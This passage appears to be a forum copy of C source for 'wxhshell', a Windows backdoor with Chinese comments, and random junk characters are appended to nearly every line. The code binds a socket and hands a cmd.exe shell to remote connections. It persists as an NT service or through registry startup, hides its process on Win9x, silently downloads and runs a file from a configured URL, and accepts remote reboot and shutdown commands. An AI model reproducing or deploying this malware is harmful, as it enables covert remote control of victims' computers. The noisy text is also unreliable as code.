  case 'i': { +b_o2''  
    if(Install()) 4RyQ^vL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,LftQ1*;  
    else U]}f]GK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >#[,OU}N  
    break; NSkIzaNY  
    } 'gv ~M_  
  // 卸载 y1OpZ  
  case 'r': { 1.IEs:(;  
    if(Uninstall()) He)vl.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9gQ ]!Oq  
    else N4rDe]JnPR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7;r Jr&.)  
    break; ly( LMr  
    } hy wy(b3  
  // 显示 wxhshell 所在路径 )PCh;P0C  
  case 'p': { }=$>w@mJ  
    char svExeFile[MAX_PATH]; i)=dp!Bx^  
    strcpy(svExeFile,"\n\r"); %2,'x  
      strcat(svExeFile,ExeFile); zr@H Yl  
        send(wsh,svExeFile,strlen(svExeFile),0); <:ptNGR  
    break; B:rzM:BQ  
    } RcpKv;=iB  
  // 重启 }!*CyO*  
  case 'b': { 9:JQ*O$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CKy/gTN  
    if(Boot(REBOOT)) %Fp 1c K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.]1N:   
    else { JDP/vNq  
    closesocket(wsh); (,^jgv|I  
    ExitThread(0); T0v{qQ  
    } J-5E# v  
    break; eJ+@<+vr;x  
    } [Ufx=BPx3  
  // 关机 }UX0 eI4  
  case 'd': { kO/]mNLG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u{8:VX  
    if(Boot(SHUTDOWN)) ^t}8E2mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gy6PS{yY6t  
    else { RH~I/4e  
    closesocket(wsh); H7CWAQPfj  
    ExitThread(0); t~_bquGk  
    } ^E]y >Y  
    break; ;/ASl<t,  
    } /zg|I?$>Z4  
  // 获取shell L['g')g.  
  case 's': { V(wANvH  
    CmdShell(wsh); 'dJ(x  
    closesocket(wsh); hQ\W~3S55  
    ExitThread(0); 1w}D fI  
    break; 5ggsOqH  
  }  LOi/+;>  
  // 退出 JIU8~D  
  case 'x': { ZVni'y m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9CPr/q9'  
    CloseIt(wsh); ]=vRjw  
    break; 4Qj@:b  
    } ):Pz sz7  
  // 离开 Btyp=wfN[  
  case 'q': { t7 +U!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H6Q!~o\"H  
    closesocket(wsh); K+3+?oYKH  
    WSACleanup(); K9QC$b9(  
    exit(1); WPDi)U X  
    break; Z3O_K  
        } Lq]t6o ]  
  } i% n9RuULh  
  } |31/*J!@z*  
W0k7(v)  
  // 提示信息 m8<.TCIQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0mR^%+~  
} cP^c}e*;NS  
  } N7UGgn=  
QC<O=<$Q[  
  return; .f-s+J&ED  
} BPd *@l  
&\e8c g  
// shell模块句柄 6Sz|3ms  
int CmdShell(SOCKET sock) 1~y\MD*-j  
{ =4#p|OZP  
STARTUPINFO si; l5FKw;=K}:  
ZeroMemory(&si,sizeof(si)); 8;$zD]{D1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B\\M%!a>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {y`n _  
PROCESS_INFORMATION ProcessInfo; SYA0Hiw7P  
char cmdline[]="cmd"; :vJ1Fo!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FJ] ?45  
  return 0; p-kug]qX  
} B3Daw/G  
F*p@hl  
// 自身启动模式 mWTV)z57  
int StartFromService(void) I78Q8W(5  
{ ^\g?uH6k U  
typedef struct |*B9{/;4  
{ WSqo\]  
  DWORD ExitStatus; }ws(:I^  
  DWORD PebBaseAddress; @y8) "m"  
  DWORD AffinityMask; JnPwqIF1  
  DWORD BasePriority; F4$9r^21r  
  ULONG UniqueProcessId; K$c?:?wmo  
  ULONG InheritedFromUniqueProcessId; ,:xses*7  
}   PROCESS_BASIC_INFORMATION; ,SH^L|I  
=)f5JwZPG  
PROCNTQSIP NtQueryInformationProcess; #Q/xQ`+|.  
yX%NFXD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n K6(0?/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KZ 4G"  
B3W2?5p  
  HANDLE             hProcess; 51 "v`O+  
  PROCESS_BASIC_INFORMATION pbi; o[aIQ|G  
?0?+~0sI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^?S lM  
  if(NULL == hInst ) return 0; thSXri?kl  
V|)nU sU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y2W{?<99  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #B5-3CwB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ONMR2J(  
I]Ws   
  if (!NtQueryInformationProcess) return 0; (l}nwyh5  
#&sn l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l4AXjq2  
  if(!hProcess) return 0; WO=P~F<  
C ett*jm_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; / mwsF]Y  
J<MuWgx&  
  CloseHandle(hProcess); KJW^pAj$B  
jdd3[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A'suZpL  
if(hProcess==NULL) return 0; /X;! F>  
eA-$TSWh  
HMODULE hMod; o,!W,sx_  
char procName[255]; En ]"^*  
unsigned long cbNeeded; j`QXl  
K~A@>~vFb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %<\tN^rP  
Id{Ix(O  
  CloseHandle(hProcess); q3ebps9^  
wDKA1i%G  
if(strstr(procName,"services")) return 1; // 以服务启动  h 3V; J  
@+hO,WXN  
  return 0; // 注册表启动 :oytJhxU  
} +T HBPEq  
pt%Y1<9Eh?  
// 主模块 _ uZVlu@  
int StartWxhshell(LPSTR lpCmdLine) $.O(K4S  
{ 9PG3cCr?  
  SOCKET wsl; *R8P brN  
BOOL val=TRUE; m0]Lc{  
  int port=0; vs{xr*Ft  
  struct sockaddr_in door; B:fulgh2ni  
QURpg/<U  
  if(wscfg.ws_autoins) Install(); =~'y'K]  
gFnJDR  
port=atoi(lpCmdLine); |M|>/U 8  
BrsBB"<o,  
if(port<=0) port=wscfg.ws_port; J )UCy;Y  
qjH/E6GGg  
  WSADATA data; b"eG8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D:XjJMW3r  
$|K-wN[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j=Z;M1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J'*`K>wV  
  door.sin_family = AF_INET; v4r%'bA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); in2m/q?  
  door.sin_port = htons(port); a>#]d  
/e7BW0$1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' [%?j?2r  
closesocket(wsl); U?j[ 8z  
return 1; P"r7m  
} <h*$bx]9 +  
{=,+;/0  
  if(listen(wsl,2) == INVALID_SOCKET) { :</KgR0I  
closesocket(wsl); ?:#$btmn?  
return 1; vpoJ{TPO  
} ?'^yw C`  
  Wxhshell(wsl);  5 c1{[  
  WSACleanup(); T<U_Iq  
d8VFa'|  
return 0; ]Mj N)%hT  
~Z5Wwp]a  
} eMUs w5=  
?e[]UO  
// 以NT服务方式启动 OGPrjL+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ns.{$'ll  
{ C0;:")6~  
DWORD   status = 0; \+)AQ!E  
  DWORD   specificError = 0xfffffff; x%55:8{  
qKNHhXi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0|FQIhVuY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ._(5; PB"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r-5xo.J'  
  serviceStatus.dwWin32ExitCode     = 0; _Q}vPSJviC  
  serviceStatus.dwServiceSpecificExitCode = 0; #fxdZm,  
  serviceStatus.dwCheckPoint       = 0; i"#zb&~nF  
  serviceStatus.dwWaitHint       = 0; ]%[.>mR  
JjQ9AJ?-V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yw,LEXLY  
  if (hServiceStatusHandle==0) return; ]9~6lx3/  
V0y_c^x  
status = GetLastError(); @WP%kX.?  
  if (status!=NO_ERROR) 5/i]Jni  
{ wZ/ b;%I!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Env_??xq  
    serviceStatus.dwCheckPoint       = 0; iH)-8Q  
    serviceStatus.dwWaitHint       = 0; WP4 "$W  
    serviceStatus.dwWin32ExitCode     = status; )<_:%oB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1qhSN#s{_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q&e*[l2M6  
    return; P;ovPyoO  
  } k9iB-=X?4s  
 o*xft6U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xd^9R<  
  serviceStatus.dwCheckPoint       = 0;  y-)5d  
  serviceStatus.dwWaitHint       = 0; lNB<_SO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J;Veza  
} #)( D_*  
S3?U-R^`  
// 处理NT服务事件,比如:启动、停止 hmJa1fw=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SaA-Krn  
{ K7]QgfpSZ  
switch(fdwControl) AI2@VvB  
{ I5w> *F   
case SERVICE_CONTROL_STOP: =Y-mc#{8  
  serviceStatus.dwWin32ExitCode = 0; (r"2XXR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Zf]1?|xa  
  serviceStatus.dwCheckPoint   = 0; )"f*Mp  
  serviceStatus.dwWaitHint     = 0; $'Qv {  
  { C7_#D O6"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^MUvd  
  } =X=m_\=~@  
  return; e%JH q  
case SERVICE_CONTROL_PAUSE: [,ZHn$\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5VGr<i&A  
  break; `_>44!M  
case SERVICE_CONTROL_CONTINUE: OLyl.#J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WXCZ }l  
  break; n^%",*8gD*  
case SERVICE_CONTROL_INTERROGATE: _:VIlg U  
  break; }vt>}%%  
}; 2q%vd =T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gt Rs||  
} |]j2T 8_=  
$;B0x  
// 标准应用程序主函数 S/xCX!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q ;$NDYV1  
{ 9u] "($  
8U7X/L  
// 获取操作系统版本 ?eri6D,86w  
OsIsNt=GetOsVer(); Iz[wrtDI 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bSS=<G9  
+X!QH/ 8  
  // 从命令行安装 _W gpk 0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bngvm9k3  
CL<m+dW%*  
  // 下载执行文件 eX <@qa4<  
if(wscfg.ws_downexe) { lH%-#2]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OjfumZL#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 03a<Cd/S  
} Gw?$.@L'I6  
R![4|FR  
if(!OsIsNt) { &T\,kq >)  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pze{5!  
HideProc(); _4~q&? }V  
StartWxhshell(lpCmdLine); \Ea(f**2B  
} _A,mY6 *  
else yf2$HF  
  if(StartFromService()) < <]uniZ\  
  // 以服务方式启动 !MQVtn^C#  
  StartServiceCtrlDispatcher(DispatchTable); 9O\N K:2  
else SB =%(]S  
  // 普通方式启动 >0.a#-u^  
  StartWxhshell(lpCmdLine); (v1~p3H  
[?nM)4d  
return 0; ~<q^4w.=7C  
}
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只看该作者 1 发表于: 2006-10-10
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